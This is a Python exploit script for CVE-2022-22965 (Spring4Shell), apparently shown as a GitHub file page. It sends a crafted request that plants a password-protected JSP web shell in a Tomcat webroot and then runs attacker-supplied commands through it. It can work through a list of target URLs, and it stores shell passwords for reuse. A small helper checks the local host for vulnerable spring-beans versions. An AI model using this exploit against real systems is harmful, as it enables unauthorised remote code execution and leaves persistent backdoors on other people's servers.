-
Notifications
You must be signed in to change notification settings - Fork 7
/
CVE-2022-22965_exploit.py
184 lines (150 loc) · 7.32 KB
/
CVE-2022-22965_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
import argparse
import os
import re
import sys
import time
from random import choice
from string import ascii_letters
from urllib.parse import urljoin, urlparse
import requests
import urllib3
from cryptocode import decrypt, encrypt
from packaging import version
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def Exploit(url, cmd, password, debug=False, timewait=10):
headers = {
"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",
"DNT": "1",
"Content-Type": "application/x-www-form-urlencoded",
}
data = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{password}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
print("\033[0;36m\n[<>] Deploying Web Shell in webroot...!\033[0m\n")
response = requests.post(url, headers=headers, data=data,
timeout=15, allow_redirects=False, verify=False)
print(
f"\033[0;36m[<>] Waiting for {timewait} seconds to upload the Web Shell...!\033[0m\n")
time.sleep(int(timewait))
webshellURL = urljoin(url, 'tomcatwar.jsp')
response = requests.get(webshellURL, timeout=15,
allow_redirects=False, verify=False)
if response.status_code == 200:
execCmd = f'?pwd={password}&cmd=' + cmd
print("\033[0;32m[+] Web Shell Deployed in webroot\033[0m")
print(
f"\033[0;36m[+] Navigate to the following URL to execute commands: {webshellURL}{execCmd}\033[0m")
time.sleep(1)
response = requests.get(f'{webshellURL}{execCmd}')
print(f"\033[0;32m[+] Executed Command: {cmd}\033[0m")
print("\n\033[0;33m"+response.text.split('//')[0]+"\033[0m")
else:
parsedURL = urlparse(url)
baseURL = parsedURL.scheme + "://" + parsedURL.netloc
webshellURL = urljoin(baseURL, 'tomcatwar.jsp')
response = requests.get(webshellURL, timeout=15,
allow_redirects=False, verify=False)
if response.status_code == 200:
execCmd = f'?pwd={password}&cmd=' + cmd
print("\033[0;32m[+] Web Shell Deployed in webroot\033[0m")
print(
f"\033[0;36m[+] Navigate to the following URL to execute commands: {webshellURL}{execCmd}\033[0m")
response = requests.get(f'{webshellURL}{execCmd}')
print(f"\033[0;32m[+] Executed Command: {cmd}\033[0m")
print("\n\033[0;33m"+response.text.split('//')[0]+"\033[0m")
else:
print(
"\033[0;31m[-] Some error occured. Exploit Failed. Target may not be Vulnerable!\033[0m")
except Exception as e:
if debug:
print("\033[0;31m[-] Some error occured. Exploit Failed...!\033[0m")
print("\033[0;31mError: " + str(e) + "\033[0m")
else:
print(
"\033[0;31m[-] Some error occured. Exploit Failed...! Use -d to print the error.\033[0m\n")
pass
def savePassword(url, password: str):
key = 'TGI5RioHZGBQ7Gmx2JoFvIoVfr2LinfR-_r-FkEJvN0='
encryptedPassword = encrypt(password, key)
if not os.path.isfile('spring4shell_log.txt'):
with open('spring4shell_log.txt', 'w') as file:
pass
with open('spring4shell_log.txt', 'r') as file:
for line in file.readlines():
if line.split(':::')[0].find(url) != -1:
decryptedPassword = decrypt(
line.split(':::')[1], key)
return decryptedPassword
with open('spring4shell_log.txt', 'a') as file:
file.write(url + ":::" + str(encryptedPassword) + "\n")
return None
def authCheck():
getInstalledInstance = os.popen(
'find / -name spring-beans*.jar 2>/dev/null').readlines()
print("\n")
if len(getInstalledInstance) > 0:
for line in getInstalledInstance:
versionInstalled = re.findall(
r"spring-beans-(?:[0-9]\.[0-9]\.[0-9]+)", line)
for i in versionInstalled:
for j in i.split('-'):
try:
if isinstance(version.parse(j), version.Version):
if version.parse(j) < version.parse("5.3.18"):
print(
"\033[0;31m[+] Vulnerable version of spring beans found in the path: " + line + "\033[0m")
else:
print(
"\033[0;32m[-] No Vulnerable version of spring beans found\033[0m")
except Exception as e:
pass
else:
print(
"\033[0;32m[-] No Vulnerable version of spring beans found\033[0m")
def main():
parser = argparse.ArgumentParser(description='CVE-2022-22965 Exploit code')
parser.add_argument(
'-f', '--file', help='File containing URLs to exploit', required=False)
parser.add_argument(
'-u', '--url', help='Target URL to exploit', required=False)
parser.add_argument(
'-c', '--cmd', help='Command to run on target', required=False)
parser.add_argument(
'-d', '--debug', help='Print the Error', action="store_true", required=False)
parser.add_argument(
'-p', '--password', help='Password for the web shell', required=False)
parser.add_argument('-t', '--timeout',
help='Timeout for the web shell to get Uploaded', required=False)
parser.add_argument('-a', '--auth',
help='Run on the host to check for vulnerable installations', action="store_true", required=False)
args = parser.parse_args()
if len(sys.argv) < 2:
parser.print_help()
exit(0)
if args.auth:
authCheck()
exit(0)
if args.password:
password = args.password
else:
password = ''.join([choice(ascii_letters) for i in range(0, 12)])
temp = savePassword(args.url, password)
if temp is not None:
password = temp.strip()
if not args.timeout:
args.timeout = 10
if args.url and args.cmd:
Exploit(args.url, args.cmd, password, args.debug, args.timeout)
elif args.url:
Exploit(args.url, 'whoami', password, args.debug, args.timeout)
if args.file:
with open(args.file) as urls:
for url in urls.readlines():
url = url.strip()
if args.cmd:
Exploit(url, args.cmd, password, args.debug, args.timeout)
else:
Exploit(url, 'whoami', password, args.debug, args.timeout)
if __name__ == '__main__':
main()